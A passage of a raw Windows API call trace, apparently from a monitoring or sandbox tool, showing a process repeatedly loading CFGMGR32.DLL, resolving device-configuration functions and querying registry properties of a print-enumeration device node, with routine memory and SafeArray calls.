returned 0x7ffb1ced0000 [0237.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.549] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.549] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.549] malloc (_Size=0x18) returned 0x20abc2820e0 [0237.549] CM_Get_Device_IDA (in: dnDevInst=0x2b, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\PRINTENUM\\{F8947BB0-075C-45F9-86B2-578590F8FCA9}") returned 0x0 [0237.549] malloc (_Size=0x48) returned 0x20abc27cb20 [0237.550] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x495a56ad, dwHighDateTime=0x1d9eb0c)) [0237.550] SetEvent (hEvent=0x248) returned 1 [0237.555] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.555] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.555] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.555] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.555] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.555] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.556] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.556] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.556] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.556] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.556] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.556] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.556] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.556] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.557] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.557] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.557] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.557] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.557] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.557] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.557] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.558] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.558] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.558] malloc (_Size=0x18) returned 0x20abc281fc0 [0237.558] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0237.559] malloc (_Size=0xe6) returned 0x20abc286930 [0237.559] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286930, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286930, pulLength=0x2dc22fd3f8) returned 0x0 [0237.560] free (_Block=0x20abc286930) [0237.560] malloc (_Size=0x48) returned 0x20abc27cf80 [0237.560] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x495cb324, dwHighDateTime=0x1d9eb0c)) [0237.561] SetEvent (hEvent=0x248) returned 1 [0237.564] malloc (_Size=0x18) returned 0x20abc281ba0 [0237.564] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0237.564] free (_Block=0x20abc281ba0) [0237.564] malloc (_Size=0x18) returned 0x20abc281d40 [0237.564] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0237.564] free (_Block=0x20abc281d40) [0237.564] malloc (_Size=0x18) returned 0x20abc281ec0 [0237.564] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0237.564] free (_Block=0x20abc281ec0) [0237.565] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c5f0 [0237.565] SafeArrayGetDim (psa=0x20abbaf1aa0) returned 0x1 [0237.565] SafeArrayGetLBound (in: psa=0x20abbaf1aa0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0237.565] SafeArrayGetUBound (in: psa=0x20abbaf1aa0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0237.565] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0237.565] SafeArrayGetDim (psa=0x20abbaf1aa0) returned 0x1 [0237.565] SafeArrayGetUBound (in: psa=0x20abbaf1aa0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0237.565] SafeArrayGetElemsize (psa=0x20abbaf1aa0) returned 0x8 [0237.565] SafeArrayGetElement (in: psa=0x20abbaf1aa0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0237.565] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba939f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.566] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba939f8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.566] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93a00, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.567] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0237.567] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c5f0) returned 1 [0237.568] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.568] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.568] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.568] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.568] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.569] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.569] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.569] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.569] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.569] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.570] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.570] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.570] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.570] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.570] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.570] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.572] malloc (_Size=0x18) returned 0x20abc281de0 [0237.572] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0237.572] malloc (_Size=0x54) returned 0x20abc2aa6f0 [0237.573] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2aa6f0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2aa6f0, pulLength=0x2dc22fd3f8) returned 0x0 [0237.573] free (_Block=0x20abc2aa6f0) [0237.573] malloc (_Size=0x48) returned 0x20abc27cf80 [0237.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x495f2dd8, dwHighDateTime=0x1d9eb0c)) [0237.574] SetEvent (hEvent=0x248) returned 1 [0237.577] malloc (_Size=0x18) returned 0x20abc281ea0 [0237.577] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0237.577] free (_Block=0x20abc281ea0) [0237.577] malloc (_Size=0x18) returned 0x20abc281b20 [0237.577] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0237.577] free (_Block=0x20abc281b20) [0237.577] malloc (_Size=0x18) returned 0x20abc281d20 [0237.577] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0237.577] free (_Block=0x20abc281d20) [0237.577] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c4f0 [0237.577] SafeArrayGetDim (psa=0x20abbaf1aa0) returned 0x1 [0237.577] SafeArrayGetLBound (in: psa=0x20abbaf1aa0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0237.577] SafeArrayGetUBound (in: psa=0x20abbaf1aa0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0237.578] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0237.578] SafeArrayGetDim (psa=0x20abbaf1aa0) returned 0x1 [0237.578] SafeArrayGetUBound (in: psa=0x20abbaf1aa0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0237.578] SafeArrayGetElemsize (psa=0x20abbaf1aa0) returned 0x8 [0237.578] SafeArrayGetElement (in: psa=0x20abbaf1aa0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0237.578] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba937b0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.578] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba937b8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.579] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba937c0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.579] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0237.579] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c4f0) returned 1 [0237.580] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.580] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.584] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.584] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.584] malloc (_Size=0x18) returned 0x20abc281c40 [0237.638] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0237.638] malloc (_Size=0x48) returned 0x20abc27cf80 [0237.638] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x49696ceb, dwHighDateTime=0x1d9eb0c)) [0237.638] SetEvent (hEvent=0x248) returned 1 [0237.644] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.644] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.644] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.644] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.644] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.645] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.645] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.645] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.645] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.645] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.646] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.646] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.646] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.646] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.646] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.647] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.647] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.647] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.647] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.648] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.648] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.648] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.648] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.648] malloc (_Size=0x18) returned 0x20abc281ee0 [0237.649] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0237.649] malloc (_Size=0x48) returned 0x20abc27cb20 [0237.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x496b04ad, dwHighDateTime=0x1d9eb0c)) [0237.649] SetEvent (hEvent=0x248) returned 1 [0237.654] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.654] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.656] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.656] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.656] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.656] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.656] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.656] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.657] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.657] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.657] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.657] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.657] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.658] malloc (_Size=0x18) returned 0x20abc281c20 [0237.658] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0237.658] malloc (_Size=0x48) returned 0x20abc27cb20 [0237.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x496b04ad, dwHighDateTime=0x1d9eb0c)) [0237.659] SetEvent (hEvent=0x248) returned 1 [0237.663] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.663] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.665] GetProcAddress (hModule=0x7ffb1ced0000, 